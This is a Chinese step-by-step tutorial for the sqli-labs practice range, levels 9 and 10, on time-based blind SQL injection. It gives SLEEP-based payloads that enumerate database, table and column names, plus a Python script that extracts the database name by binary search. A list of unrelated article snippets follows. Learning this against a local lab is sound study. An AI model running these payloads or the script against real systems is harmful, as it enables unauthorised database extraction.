sql靶场-时间盲注(第九、十关)保姆级教程
目录
时间盲注(第九、十关)
1.判断
2.确认时间盲注
2.手工尝试时间盲注
数据库名长度
数据库名字符
表数
表名长度
表名字符
字段数
字段名长度
字段名字符
4.脚本时间盲注注入
5.第十关
时间盲注(第九、十关)
1.判断
当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化
2.确认时间盲注
使用的语法有:IF(condition, value_if_true, value_if_false)
测试是否存在时间盲注即闭合方式
单引号的时间盲注测试
?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等,这里测试是单引号闭合的时间盲注
?id=1" AND IF(1=1, SLEEP(5), 0) --+

2.手工尝试时间盲注
数据库名长度
注入数据库名,如果不对不会延时,正确则会延时
?id=1' and if(length(database())>4,sleep(5),1)--+
?id=1' and if(length(database())>8,sleep(5),1)--+
?id=1' and if(length(database())>6,sleep(5),1)--+



数据库名字符
?id=1'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=110,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+





表数
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)--+
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)--+


表名长度
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)--+
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)--+


表名字符
?id=1'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+

字段数
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)--+
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)--+


字段名长度
?id=1'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)--+

字段名字符
?id=1'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)--+

4.脚本时间盲注注入
import requests #用于发送HTTP请求
import time # 用于计算时间差url = "http://127.0.0.1/sqli-labs/Less-8/" # 目标注入点URLdef inject_database(url):name = '' # 初始化空字符串,存储最终数据库名for i in range(1, 100): # 遍历字符位置(假设数据库名最长99字符)low = 32 # ASCII可打印字符起始值(空格)high = 128 # ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2 # 二分法初始中间值while low < high: # 二分查找当前字符的ASCII值# 构造Payload:通过时间盲注判断字符ASCII值是否大于midpayload = " 1' and ( if( ascii( substr( (select( database()) ),%d,1 ) )>%d,sleep(1),0 ) ) and ('1')=('1 " % (i, mid)/**" " 里面是构造的Payload1' 闭合前面的单引号if() 里面是判断字符的ASCII值是否大于mid ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d 第二个也就是这个%d是midsleep( ) 查询暂停指定的秒数。通常用于测试或故意造成延迟and ('1')=('1 闭合% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚*/params = {"id": payload} # 参数化请求#params 定义 HTTP GET 请求的 URL 参数,键值对形式传递数据#"id"目标网页接收的查询参数名(通常对应后端 SQL 查询的输入字段)start_time = time.time() # time.time() 记录请求时间戳 记录请求开始时间r = requests.get(url, params=params) # 发送HTTP GET请求/**base_url = "http://tieba.baidu.com/f?" params = {"kw": "兔子", "pn": 100} res = requests.get(base_url, params=params) print(res.url) # 输出:http://tieba.baidu.com/f?kw=兔子&pn=100:ml-citation{ref="1,3" data="citationList"} */end_time = time.time() # 记录请求结束时间# 判断响应时间是否超过1秒(触发sleep(1))if end_time - start_time > 1:low = mid + 1 # 当前字符ASCII值 > mid,调整下限else:high = mid # 当前字符ASCII值 <= mid,调整上限mid = (low + high) // 2 # 更新中间值# 当low >= high时,确定当前字符ASCII值为midif mid == 32: # 若mid为32(空格),终止循环breakname = name + chr(mid) # 将ASCII转为字符并拼接print(name) # 实时输出当前结果inject_database(url) # 执行注入函数
5.第十关
测试时间盲注的闭合方式
单引号的时间盲注测试
?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等
?id=1" AND IF(1=1, SLEEP(5), 0) --+

这里测试是双引号
剩下的步骤和第九关一样
相关文章:
sql靶场-时间盲注(第九、十关)保姆级教程
目录 时间盲注(第九、十关) 1.判断 2.确认时间盲注 2.手工尝试时间盲注 数据库名长度 数据库名字符 表数 表名长度 表名字符 字段数 字段名长度 字段名字符 4.脚本时间盲注注入 5.第十关 时间盲注(第九、十关) 1.判…...
Vuex 高级技巧与最佳实践
使用 map 辅助函数简化代码: javascript import { mapState, mapGetters } from vuexexport default {computed: {...mapState([num]),...mapGetters([doubleNum])} }模块化开发: javascript // modules/student.js export default {namespaced: true,st…...
51c自动驾驶~合集54
我自己的原文哦~ https://blog.51cto.com/whaosoft/13517811 #Chameleon 快慢双系统!清华&博世最新:无需训练即可解决复杂道路拓扑 在自动驾驶技术中,车道拓扑提取是实现无地图导航的核心任务之一。它要求系统不仅能检测出车道和交…...
大模型推理:LM Studio在Mac上部署Deepseek-R1模型
LM Studio LM Studio是一款支持离线大模型部署的推理服务框架,提供了易用的大模型部署web框架,支持Linux、Mac、Windows等平台,并提供了OpenAI兼容的SDK接口,主要使用LLama.cpp和MLX推理后端,在Mac上部署时选择MLX推理…...
扩散模型:AIGC领域的核心引擎,解锁图像生成新维度
一、扩散模型技术原理 扩散模型是一类生成模型,它运用了物理热力学中的扩散思想, 主要包括前向扩散和反向扩散两个过程。 1.1、生成模型 在深度学习中,生成模型的目标是根据给定的样本(训练数据) 生成新样本。首先给…...
Java多线程与高并发专题——原子类和 volatile、synchronized 有什么异同?
原子类和 volatile异同 首先,通过我们对原子类和的了解,原子类和volatile 都能保证多线程环境下的数据可见性。在多线程程序中,每个线程都有自己的工作内存,当多个线程访问共享变量时,可能会出现一个线程修改了共享变…...
//要求:将输入的字符串中的数字转换为罗马数字,长度小于9(运用方法:Switch方法)
import java.util.Scanner;public class Num2 {public static void main(String[] args){ // I II III IV V VI VII VIII IX//要求:将输入的字符串中的数字转换为罗马数字,长度小于9(运用方法:查表法)//1输入数字//2有效字符判断/…...
【数据结构】数据结构,算法 概念
0.本篇问题: 数据、数据元素、数据对象、数据项之间的基本关系?ADT是什么?数据结构的三要素?数据的逻辑结构有哪些?数据的存储结构有哪些?算法的五个特征?O(1) O(logn) O(n^n) O(n) O(n^2…...
pytest 框架学习总结
视频:pytest01-快速上手_哔哩哔哩_bilibili 资料:pytest 框架 - 白月黑羽 基于 Python 语言的自动化测试框架 最知名的 有如下 3 款unittest、pytest、robotframework 前两款框架主要(或者说很大程度上)是 聚焦 在 白盒单元测试…...
总结 HTTP 协议的基本格式, 相关知识以及抓包工具fiddler的使用
目录 1 HTTP是什么 2 HTTP协议格式 3 HTTP请求(Request) 3.1 认识URL 3.2 方法 3.3 认识请求"报头"(header) 4 HTTP响应详解 4.1 认识"状态码"(statuscode) 4.2 认识响应"报头"(header) 4.3 认识响应"正⽂"(body) 5 通过f…...
python中的max(),需要注意的点
words ["apple", "banana", "grape", "cherry"] 对每个单词,keylambda x: len(x) 会计算它的长度: "apple" 长度是 5"banana" 长度是 6"grape" 长度是 5"cherry" 长度…...
DeepSeek-R1大模型微调技术深度解析:架构、方法与应用全解析
1. DeepSeek-R1大模型架构设计与技术特性 1.1 架构设计 DeepSeek-R1作为超大规模语言模型,其核心架构设计包含以下创新: 专家混合架构(MoE) 采用6710亿参数的混合专家架构(MoE),每个推理过程仅激活370亿参数,实现计算效率与资源利用率的突破性提升。 Transformer框架…...
探索Maas平台与阿里 QWQ 技术:AI调参的魔法世界
摘要:本文介绍了蓝耘 Maas 平台在人工智能领域的表现及其核心优势,包括强大的模型支持、高效的资源调度和友好的操作界面。文章还探讨了蓝耘 Maas 平台与阿里 QWQ 技术的融合亮点及应用拓展实例,并提供了调参实战指南,最后对蓝耘 …...
Linux第三次练习
1、创建根目录结构中的所有的普通文件 首先在根目录下面新创建一个test目录,然后将查找到的普通文件新建到test目录下 2、列出所有账号的账号名 3、将/etc/passwd中内容按照冒号隔开的第三个字符从大到小排序后输出所有内容 4、列出/etc/passwd中的第20行-25行内容…...
软件测试知识总结
1、黑盒测试、白盒测试、灰盒测试 1.1 黑盒测试 黑盒测试又叫功能测试、数据驱动测试 或 基于需求规格说明书的功能测试。该类测试注重于测试软件的功能性需求。 采用这种测试方法,测试工程师把测试对象看作一个黑盒子,完全不考虑程序内部的逻辑结构和…...
JConsole 监控线程池状态
JConsole 可以用来监控 Java 线程池(ThreadPoolExecutor)的状态,包括线程数量、任务执行情况、CPU 及内存使用情况等。下面是具体的操作步骤: 一、启动 JConsole 1. 启动 JConsole Windows:在 JDK bin 目录下找到 j…...
【HTML】三、表单与布局标签
文章目录 1、input1.1 input的占位文案1.2 单选框1.3 上传文件1.4 多选框 2、 下拉菜单3、文本域:多行输入4、label标签:说明与增大点击范围5、按钮与form表单6、无语义布局标签7、有语义的布局标签8、字符实体9、练习:注册页面 1、input in…...
OpenBMC:BmcWeb添加路由1 getParameterTag
BmcWeb对于路由的设计其实是参考了Crow BMCWEB_ROUTE(app, "/upload/image/<str>").privileges({{"ConfigureComponents", "ConfigureManager"}}).methods(boost::beast::http::verb::post, boost::beast::http::verb::put)([](const cro…...
【结构设计】3D打印创想三维Ender 3 v2
【结构设计】3D打印创想三维Ender 3 v2 文章目录 前言一、Creality Slicer1.2.3打印参数设置二、配件更换1.捆扎绑扎线2.气动接头3D打印机配件插头3.3D打印机配件Ender3pro/V2喷头套件4.读卡器 TF卡5.micro sd卡 三、调平四、参考文章总结 前言 使用工具: 1.创想三…...
嵌入式web服务器实现上传下载储存研究
标题:嵌入式web服务器实现上传下载储存研究 内容:1.摘要 随着互联网与嵌入式系统的不断融合,嵌入式设备对数据上传、下载及储存功能的需求日益增长。本文旨在研究嵌入式web服务器实现上传、下载和储存功能的有效方法。通过分析常见的嵌入式web服务器架构࿰…...
UE小:UE5.5 PixelStreamingInfrastructure 使用时注意事项
1、鼠标默认显示 player.ts中的Config中添加HoveringMouse:true 然后运行typescript\package.json中的"build":npx webpack --config webpack.prod.js...
Anaconda 入门指南
Anaconda 入门指南 一、下载安装 Anaconda 1、下载地址:Anaconda 推荐下载 python3 版本, 毕竟未来 python2 是要停止维护的。 2、安装 Anaconda 按照安装程序提示一步步安装就好了, 安装完成之后会多几个应用: Anaconda Navigtor :用于管…...
web组态可视化编辑器
Web组态可视化编辑器是一种用于创建和配置工业自动化、物联网(IoT)和智能建筑等领域的图形化用户界面(GUI)的工具。它允许用户通过拖放组件、配置参数和连接数据源来设计和部署实时监控和控制界面。以下是一些常见的Web组态可视化…...
CTA重建:脑血管重建,CT三维重建,三维建模 技术,实现
CTA(CT血管造影)是一种基于CT扫描的医学成像技术,主要用于血管系统的三维重建和可视化。脑血管重建是CTA的重要应用之一,能够帮助医生诊断脑血管疾病(如动脉瘤、狭窄、畸形等)。以下是实现CTA脑血管重建、C…...
Ollama+OpenWebUI本地部署大模型
OllamaOpenWebUI本地部署大模型 前言Ollama使用Ollama安装Ollama修改配置Ollama 拉取远程大模型Ollama 构建本地大模型Ollama 运行本地模型:命令行交互Api调用Web 端调用 总结 前言 Ollama是一个开源项目,用于在本地计算机上运行大型语言模型࿰…...
如何打包数据库mysql数据,并上传到虚拟机上进行部署?
1.连接数据库,使得我们能看到数据库信息,才能进行打包上传 2. 3. 导出结果如下,是xml文件 4.可以查询每个xml文件的属性,确保有大小,这样才是真实导出 5跟着黑马,新建文件夹,并且把对应的东西放…...
Vue 自定义指令深度解析与应用实践
文章目录 1. 自定义指令概述1.1 核心概念1.2 指令生命周期 2. 自定义指令基础2.1 指令注册2.2 指令使用 3. 指令钩子函数详解3.1 钩子函数参数3.2 钩子函数示例 4. 自定义指令应用场景4.1 表单自动聚焦4.2 权限控制4.3 图片懒加载 5. 高级应用技巧5.1 动态指令参数5.2 指令修饰…...
Vue中有什么组件可以实现轮播效果,每次出现四个元素?
在 Vue 中实现「每次显示四个元素」的轮播效果,可以通过以下组件实现(推荐按优先级排序): 1. Swiper Vue-Awesome-Swiper(推荐) 特点: 最成熟的轮播库,支持复杂交互(触…...
Doris表的分区数量保持在多少范围内性能是最好的
在 Apache Doris 中,分区数量的最佳范围需结合数据规模、查询模式及集群资源动态调整,以下是根据最新版本(2025年)的实践总结和官方建议: 1. 分区数量与数据量的平衡原则 • 单分区数据量建议:每个分区的数…...
Android 手机启动过程
梳理 为了梳理思路,笔者画了一幅关于 Android 手机启动的过程图片内容纯属个人见解,如有错误,欢迎各位指正...
